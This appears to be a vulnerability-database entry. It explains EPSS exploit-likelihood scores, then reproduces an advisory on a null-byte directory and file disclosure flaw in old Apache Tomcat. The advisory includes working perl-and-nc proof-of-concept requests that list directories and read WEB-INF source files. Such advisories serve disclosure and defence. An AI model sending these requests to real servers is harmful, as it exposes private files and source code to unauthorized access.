EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/6721/info Apache Tomcat is prone to a directory/file disclosure vulnerability when used with JDK 1.3.1 or earlier. It has been reported that remote attackers may view directory contents (even when an 'index.html' or other welcome file). It is also possible for remote attackers to disclose the contents of files. This vulnerability is due to improper handling of null bytes (%00) and backslash ('\') characters in requests for web resources. GET /<null byte>.jsp HTTP/1.0 $ perl -e 'print "GET /\x00.jsp HTTP/1.0\r\n\r\n";' | nc my.server 8080 $ perl -e 'print "GET /admin/WEB-INF\\classes/ContextAdmin.java\x00.jsp HTTP/1.0\r\n\r\n";'|nc my.server 8080 $ perl -e 'print "GET /examples/jsp/cal/cal1.jsp\x00.html HTTP/1.0\r\n\r\n";'|nc my.server 8080
